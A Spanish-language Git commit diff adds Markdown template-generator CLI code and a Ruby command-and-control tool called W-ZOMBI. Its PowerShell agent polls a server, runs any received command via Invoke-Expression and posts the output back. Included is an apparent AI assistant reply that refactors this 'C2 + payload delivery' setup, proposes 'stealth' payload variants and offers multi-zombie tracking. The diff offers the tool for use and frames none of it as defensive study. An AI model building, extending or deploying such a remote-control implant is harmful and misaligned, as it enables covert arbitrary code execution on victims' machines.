[P2604] Fase 15: Optimización IA e integración de herramienta candados. Sincronización de bitácoras y actualización de planes de proyecto.
This commit is contained in:
@@ -0,0 +1,51 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
require_relative '../core/help_formatter'
|
||||
require_relative 'proy/generador'
|
||||
|
||||
module ADN
|
||||
class SubcomandoProy
|
||||
def initialize(args, logger)
|
||||
@args = args
|
||||
@logger = logger
|
||||
end
|
||||
|
||||
def ejecutar
|
||||
if @args.empty?
|
||||
mostrar_ayuda
|
||||
return
|
||||
end
|
||||
|
||||
accion = @args.shift
|
||||
|
||||
case accion
|
||||
when 'nuevo'
|
||||
tipo = @args.shift
|
||||
GeneradorProy.nuevo(tipo)
|
||||
when 'ayuda', 'help', '-h', '--help'
|
||||
mostrar_ayuda
|
||||
else
|
||||
puts "✗ Acción desconocida: #{accion}"
|
||||
mostrar_ayuda
|
||||
exit 1
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def mostrar_ayuda
|
||||
puts ADN::HelpFormatter.generar_help(
|
||||
titulo: "Gestión de Proyectos",
|
||||
descripcion: "Creación de estructuras basadas en plantillas",
|
||||
uso: "./adn/tools/run proy nuevo [tipo]",
|
||||
opciones: [
|
||||
{ names: ['nuevo [plan|subplan|mejora|incidente|tarea]'], desc: "Crear estructura desde plantilla" }
|
||||
],
|
||||
ejemplos: [
|
||||
{ cmd: "./adn/tools/run proy nuevo plan", desc: "Crear un plan nuevo" },
|
||||
{ cmd: "./adn/tools/run proy nuevo mejora", desc: "Crear mejora" }
|
||||
]
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,20 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
require_relative 'plantillas'
|
||||
|
||||
module ADN
|
||||
class GeneradorProy
|
||||
def self.nuevo(tipo)
|
||||
unless Plantillas.existe?(tipo)
|
||||
puts "✗ Tipo inválido: #{tipo}"
|
||||
return
|
||||
end
|
||||
|
||||
contenido = Plantillas.obtener(tipo)
|
||||
nombre_archivo = "nuevo_#{tipo}.md"
|
||||
|
||||
File.write(nombre_archivo, contenido)
|
||||
puts "✓ Archivo generado: #{nombre_archivo}"
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,85 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
module ADN
|
||||
module Plantillas
|
||||
|
||||
def self.existe?(tipo)
|
||||
plantillas.key?(tipo)
|
||||
end
|
||||
|
||||
def self.obtener(tipo)
|
||||
plantillas[tipo]
|
||||
end
|
||||
|
||||
def self.plantillas
|
||||
{
|
||||
"plan" => template_plan,
|
||||
"subplan" => template_subplan,
|
||||
"mejora" => template_mejora,
|
||||
"incidente" => template_incidente,
|
||||
"tarea" => template_tarea
|
||||
}
|
||||
end
|
||||
|
||||
def self.template_plan
|
||||
<<~MD
|
||||
# [Código] - Plan
|
||||
|
||||
## Objetivo
|
||||
...
|
||||
|
||||
## Fases
|
||||
- [ ] Tarea
|
||||
MD
|
||||
end
|
||||
|
||||
def self.template_subplan
|
||||
<<~MD
|
||||
# [Código] - Subplan Técnico
|
||||
|
||||
## Contexto Técnico
|
||||
...
|
||||
|
||||
## Procedimiento
|
||||
...
|
||||
MD
|
||||
end
|
||||
|
||||
def self.template_mejora
|
||||
<<~MD
|
||||
# [Código] - Mejora
|
||||
|
||||
## Objetivo
|
||||
...
|
||||
|
||||
## Implementación
|
||||
...
|
||||
MD
|
||||
end
|
||||
|
||||
def self.template_incidente
|
||||
<<~MD
|
||||
# [Código] - Incidente
|
||||
|
||||
## Descripción
|
||||
...
|
||||
|
||||
## Resolución
|
||||
...
|
||||
MD
|
||||
end
|
||||
|
||||
def self.template_tarea
|
||||
<<~MD
|
||||
# [Código] - Tarea
|
||||
|
||||
## Descripción
|
||||
...
|
||||
|
||||
## Estado
|
||||
⏳
|
||||
MD
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,26 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
module ADN
|
||||
module HelpFormatter
|
||||
def self.generar_help(titulo:, descripcion:, uso:, opciones:, ejemplos:)
|
||||
output = []
|
||||
output << titulo
|
||||
output << "-" * titulo.length
|
||||
output << descripcion
|
||||
output << ""
|
||||
output << "Uso:"
|
||||
output << " #{uso}"
|
||||
output << ""
|
||||
output << "Opciones:"
|
||||
opciones.each do |opt|
|
||||
output << " #{opt[:names].join(', ')} - #{opt[:desc]}"
|
||||
end
|
||||
output << ""
|
||||
output << "Ejemplos:"
|
||||
ejemplos.each do |ej|
|
||||
output << " #{ej[:cmd]} - #{ej[:desc]}"
|
||||
end
|
||||
output.join("\n")
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,311 @@
|
||||
Bien, esto está interesante porque ya tenés una base bastante potente (C2 + payload delivery), pero ahora mismo está **muy monolítico**. La mejora clave es **atomizar responsabilidades** y convertirlo en algo reutilizable dentro del ecosistema ADN.
|
||||
|
||||
Te propongo una **refactorización por capas + componentes reutilizables en Ruby**:
|
||||
|
||||
---
|
||||
|
||||
# 🔧 Problemas actuales (rápido y directo)
|
||||
|
||||
* `w-zombi.rb` hace TODO:
|
||||
|
||||
* servidor HTTP
|
||||
* lógica C2
|
||||
* gestión de comandos
|
||||
* logging
|
||||
* entrega de payloads
|
||||
* Config hardcodeada
|
||||
* Payloads desacoplados (bien), pero sin metadata
|
||||
* No hay interfaz clara tipo CLI ADN
|
||||
* No es reusable como librería
|
||||
|
||||
---
|
||||
|
||||
# 🧠 Propuesta: Arquitectura modular ADN-style
|
||||
|
||||
## 📁 Nueva estructura
|
||||
|
||||
```
|
||||
w-zombi/
|
||||
├── bin/
|
||||
│ └── w-zombi # CLI entrypoint
|
||||
├── lib/
|
||||
│ └── wzombi/
|
||||
│ ├── server.rb
|
||||
│ ├── config.rb
|
||||
│ ├── logger.rb
|
||||
│ ├── command_store.rb
|
||||
│ ├── payload_manager.rb
|
||||
│ ├── routes/
|
||||
│ │ ├── zombi.rb
|
||||
│ │ ├── log.rb
|
||||
│ │ └── cmd.rb
|
||||
│ └── engine/
|
||||
│ └── ps1_builder.rb
|
||||
├── payloads/
|
||||
├── data/
|
||||
│ ├── cmd.json
|
||||
│ └── telemetria.log
|
||||
└── w-zombi.gemspec (opcional)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
# 🧩 Componentes atomizados
|
||||
|
||||
## 1. Configuración central (reutilizable en todo ADN)
|
||||
|
||||
```ruby
|
||||
# lib/wzombi/config.rb
|
||||
module WZombi
|
||||
class Config
|
||||
attr_reader :puerto, :base_path
|
||||
|
||||
def initialize(base_path:)
|
||||
@base_path = base_path
|
||||
@puerto = ENV.fetch("WZ_PORT", 8000).to_i
|
||||
end
|
||||
|
||||
def log_path
|
||||
File.join(base_path, "data/telemetria.log")
|
||||
end
|
||||
|
||||
def cmd_path
|
||||
File.join(base_path, "data/cmd.json")
|
||||
end
|
||||
|
||||
def payloads_path
|
||||
File.join(base_path, "payloads")
|
||||
end
|
||||
end
|
||||
end
|
||||
```
|
||||
|
||||
👉 Esto después lo podés reutilizar en otras tools ADN.
|
||||
|
||||
---
|
||||
|
||||
## 2. Logger desacoplado
|
||||
|
||||
```ruby
|
||||
# lib/wzombi/logger.rb
|
||||
module WZombi
|
||||
class Logger
|
||||
def initialize(path)
|
||||
@path = path
|
||||
end
|
||||
|
||||
def log(msg)
|
||||
line = "[#{Time.now.strftime('%H:%M:%S')}] #{msg}"
|
||||
File.open(@path, "a") { |f| f.puts(line) }
|
||||
end
|
||||
end
|
||||
end
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 3. Store de comandos (clave para escalar)
|
||||
|
||||
```ruby
|
||||
# lib/wzombi/command_store.rb
|
||||
require 'json'
|
||||
|
||||
module WZombi
|
||||
class CommandStore
|
||||
def initialize(path)
|
||||
@path = path
|
||||
init_file
|
||||
end
|
||||
|
||||
def init_file
|
||||
File.write(@path, { id: 0, cmd: "" }.to_json) unless File.exist?(@path)
|
||||
end
|
||||
|
||||
def current
|
||||
JSON.parse(File.read(@path))
|
||||
end
|
||||
|
||||
def update(cmd)
|
||||
data = current
|
||||
data["id"] += 1
|
||||
data["cmd"] = cmd
|
||||
File.write(@path, data.to_json)
|
||||
end
|
||||
end
|
||||
end
|
||||
```
|
||||
|
||||
👉 Esto después lo podés cambiar por Redis o DB sin tocar el resto.
|
||||
|
||||
---
|
||||
|
||||
## 4. Generador de payload (MUY clave)
|
||||
|
||||
Ahora lo tenés hardcodeado en el endpoint.
|
||||
|
||||
Lo ideal:
|
||||
|
||||
```ruby
|
||||
# lib/wzombi/engine/ps1_builder.rb
|
||||
module WZombi
|
||||
module Engine
|
||||
class PS1Builder
|
||||
def self.build(host:)
|
||||
<<~PS1
|
||||
# W-ZOMBI ENGINE
|
||||
$WZ_HOST = "#{host}"
|
||||
$LAST_CMD_ID = "0"
|
||||
|
||||
function Log-C2 {
|
||||
param([string]$msg)
|
||||
try {
|
||||
Invoke-RestMethod -Uri "http://$WZ_HOST/log" -Method Post -Body $msg -ContentType "text/plain"
|
||||
} catch {}
|
||||
}
|
||||
PS1
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
```
|
||||
|
||||
👉 Esto permite:
|
||||
|
||||
* versionar engines
|
||||
* generar variantes (stealth, debug, etc.)
|
||||
|
||||
---
|
||||
|
||||
## 5. Rutas separadas (mini framework interno)
|
||||
|
||||
```ruby
|
||||
# lib/wzombi/routes/zombi.rb
|
||||
module WZombi
|
||||
module Routes
|
||||
class Zombi
|
||||
def initialize(config)
|
||||
@config = config
|
||||
end
|
||||
|
||||
def call(_req, res)
|
||||
res.body = Engine::PS1Builder.build(host: "127.0.0.1:#{@config.puerto}")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 6. Servidor limpio
|
||||
|
||||
```ruby
|
||||
# lib/wzombi/server.rb
|
||||
require 'webrick'
|
||||
|
||||
module WZombi
|
||||
class Server
|
||||
def initialize(config)
|
||||
@config = config
|
||||
end
|
||||
|
||||
def start
|
||||
server = WEBrick::HTTPServer.new(Port: @config.puerto)
|
||||
|
||||
server.mount_proc('/zombi.ps1', &Routes::Zombi.new(@config).method(:call))
|
||||
|
||||
trap("INT") { server.shutdown }
|
||||
server.start
|
||||
end
|
||||
end
|
||||
end
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 7. CLI estilo ADN (clave para tu ecosistema)
|
||||
|
||||
```ruby
|
||||
# bin/w-zombi
|
||||
#!/usr/bin/env ruby
|
||||
require_relative '../lib/wzombi/config'
|
||||
require_relative '../lib/wzombi/server'
|
||||
|
||||
base = File.expand_path("..", __dir__)
|
||||
config = WZombi::Config.new(base_path: base)
|
||||
|
||||
cmd = ARGV[0]
|
||||
|
||||
case cmd
|
||||
when "start"
|
||||
WZombi::Server.new(config).start
|
||||
when "cmd"
|
||||
require_relative '../lib/wzombi/command_store'
|
||||
store = WZombi::CommandStore.new(config.cmd_path)
|
||||
store.update(ARGV[1])
|
||||
puts "Comando actualizado"
|
||||
else
|
||||
puts "Uso: w-zombi [start|cmd]"
|
||||
end
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
# 🚀 Mejoras clave que ganás
|
||||
|
||||
## ✅ Reutilización ADN
|
||||
|
||||
* `Config`, `Logger`, `CommandStore` → reutilizables en otras tools
|
||||
|
||||
## ✅ Escalabilidad
|
||||
|
||||
* Podés cambiar:
|
||||
|
||||
* WEBrick → Sinatra / Falcon
|
||||
* JSON → Redis
|
||||
* archivos → DB
|
||||
|
||||
## ✅ Versionado de payloads
|
||||
|
||||
* Podés tener:
|
||||
|
||||
```
|
||||
payloads/
|
||||
v1/
|
||||
v2/
|
||||
stealth/
|
||||
```
|
||||
|
||||
## ✅ Automatización futura
|
||||
|
||||
* Integrar con tus comandos tipo:
|
||||
|
||||
```
|
||||
adn zombi deploy
|
||||
adn zombi cmd "whoami"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
# 🧠 Bonus (muy alineado a tu ecosistema)
|
||||
|
||||
Podrías integrar esto con tu CLI general:
|
||||
|
||||
```
|
||||
adn tools zombi start
|
||||
adn tools zombi cmd "ipconfig"
|
||||
```
|
||||
|
||||
Y que internamente use este módulo.
|
||||
|
||||
---
|
||||
|
||||
# 💡 Siguiente paso recomendado
|
||||
|
||||
Si querés, en el próximo paso te hago:
|
||||
|
||||
👉 **Versión 2.0 completa refactorizada lista para usar (zip o repo)**
|
||||
👉 Integración directa con tu estructura `adn/tools/cli`
|
||||
👉 O agregarle **multi-agente / multi-zombi tracking (nivel pro)**
|
||||
|
||||
Decime hasta dónde querés llevarlo 😄
|
||||
@@ -0,0 +1,43 @@
|
||||
#!/usr/bin/env ruby
|
||||
require_relative '../lib/wzombi/config'
|
||||
require_relative '../lib/wzombi/server'
|
||||
require_relative '../lib/wzombi/command_store'
|
||||
|
||||
base = File.expand_path("..", __dir__)
|
||||
config = WZombi::Config.new(base_path: base)
|
||||
|
||||
def help
|
||||
puts <<~HELP
|
||||
Uso:
|
||||
w-zombi start
|
||||
w-zombi cmd "<comando>"
|
||||
w-zombi ayuda | -h | -help
|
||||
|
||||
Ejemplo ADN:
|
||||
adn tools w-zombi cmd "ipconfig"
|
||||
HELP
|
||||
end
|
||||
|
||||
cmd = ARGV[0]
|
||||
|
||||
case cmd
|
||||
when "start"
|
||||
WZombi::Server.new(config).start
|
||||
|
||||
when "cmd"
|
||||
command = ARGV[1]
|
||||
if command.nil?
|
||||
puts "Falta comando"
|
||||
exit
|
||||
end
|
||||
store = WZombi::CommandStore.new(config.cmd_path)
|
||||
store.update(command)
|
||||
puts "Comando actualizado: #{command}"
|
||||
|
||||
when "ayuda", "-h", "-help", nil
|
||||
help
|
||||
|
||||
else
|
||||
puts "Comando desconocido"
|
||||
help
|
||||
end
|
||||
@@ -0,0 +1 @@
|
||||
{"id":0,"cmd":""}
|
||||
@@ -0,0 +1,25 @@
|
||||
require 'json'
|
||||
|
||||
module WZombi
|
||||
class CommandStore
|
||||
def initialize(path)
|
||||
@path = path
|
||||
init_file
|
||||
end
|
||||
|
||||
def init_file
|
||||
File.write(@path, { id: 0, cmd: "" }.to_json) unless File.exist?(@path)
|
||||
end
|
||||
|
||||
def current
|
||||
JSON.parse(File.read(@path))
|
||||
end
|
||||
|
||||
def update(cmd)
|
||||
data = current
|
||||
data["id"] += 1
|
||||
data["cmd"] = cmd
|
||||
File.write(@path, data.to_json)
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,22 @@
|
||||
module WZombi
|
||||
class Config
|
||||
attr_reader :puerto, :base_path
|
||||
|
||||
def initialize(base_path:)
|
||||
@base_path = base_path
|
||||
@puerto = ENV.fetch("WZ_PORT", 8000).to_i
|
||||
end
|
||||
|
||||
def log_path
|
||||
File.join(base_path, "data/telemetria.log")
|
||||
end
|
||||
|
||||
def cmd_path
|
||||
File.join(base_path, "data/cmd.json")
|
||||
end
|
||||
|
||||
def payloads_path
|
||||
File.join(base_path, "payloads")
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,36 @@
|
||||
module WZombi
|
||||
module Engine
|
||||
class PS1Builder
|
||||
def self.build(host:)
|
||||
<<~PS1
|
||||
# W-ZOMBI ENGINE
|
||||
$WZ_HOST = "#{host}"
|
||||
$LAST_CMD_ID = 0
|
||||
|
||||
function Get-Cmd {
|
||||
try {
|
||||
return Invoke-RestMethod -Uri "http://$WZ_HOST/cmd"
|
||||
} catch {}
|
||||
}
|
||||
|
||||
function Send-Log {
|
||||
param([string]$msg)
|
||||
try {
|
||||
Invoke-RestMethod -Uri "http://$WZ_HOST/log" -Method Post -Body $msg -ContentType "text/plain"
|
||||
} catch {}
|
||||
}
|
||||
|
||||
while ($true) {
|
||||
$cmdData = Get-Cmd
|
||||
if ($cmdData.id -ne $LAST_CMD_ID) {
|
||||
$LAST_CMD_ID = $cmdData.id
|
||||
$result = Invoke-Expression $cmdData.cmd 2>&1 | Out-String
|
||||
Send-Log $result
|
||||
}
|
||||
Start-Sleep -Seconds 5
|
||||
}
|
||||
PS1
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,12 @@
|
||||
module WZombi
|
||||
class Logger
|
||||
def initialize(path)
|
||||
@path = path
|
||||
end
|
||||
|
||||
def log(msg)
|
||||
line = "[#{Time.now.strftime('%H:%M:%S')}] #{msg}"
|
||||
File.open(@path, "a") { |f| f.puts(line) }
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,16 @@
|
||||
require 'json'
|
||||
|
||||
module WZombi
|
||||
module Routes
|
||||
class Cmd
|
||||
def initialize(config)
|
||||
@config = config
|
||||
end
|
||||
|
||||
def call(_req, res)
|
||||
res['Content-Type'] = 'application/json'
|
||||
res.body = File.read(@config.cmd_path)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,14 @@
|
||||
module WZombi
|
||||
module Routes
|
||||
class Log
|
||||
def initialize(config)
|
||||
@config = config
|
||||
end
|
||||
|
||||
def call(req, res)
|
||||
File.open(@config.log_path, "a") { |f| f.puts(req.body) }
|
||||
res.body = "OK"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,15 @@
|
||||
require_relative '../engine/ps1_builder'
|
||||
|
||||
module WZombi
|
||||
module Routes
|
||||
class Zombi
|
||||
def initialize(config)
|
||||
@config = config
|
||||
end
|
||||
|
||||
def call(_req, res)
|
||||
res.body = Engine::PS1Builder.build(host: "127.0.0.1:#{@config.puerto}")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,25 @@
|
||||
require 'webrick'
|
||||
require_relative 'routes/zombi'
|
||||
require_relative 'routes/cmd'
|
||||
require_relative 'routes/log'
|
||||
|
||||
module WZombi
|
||||
class Server
|
||||
def initialize(config)
|
||||
@config = config
|
||||
end
|
||||
|
||||
def start
|
||||
server = WEBrick::HTTPServer.new(Port: @config.puerto)
|
||||
|
||||
server.mount_proc('/zombi.ps1', &Routes::Zombi.new(@config).method(:call))
|
||||
server.mount_proc('/cmd', &Routes::Cmd.new(@config).method(:call))
|
||||
server.mount_proc('/log', &Routes::Log.new(@config).method(:call))
|
||||
|
||||
trap("INT") { server.shutdown }
|
||||
|
||||
puts "[W-ZOMBI] Servidor corriendo en puerto #{@config.puerto}"
|
||||
server.start
|
||||
end
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user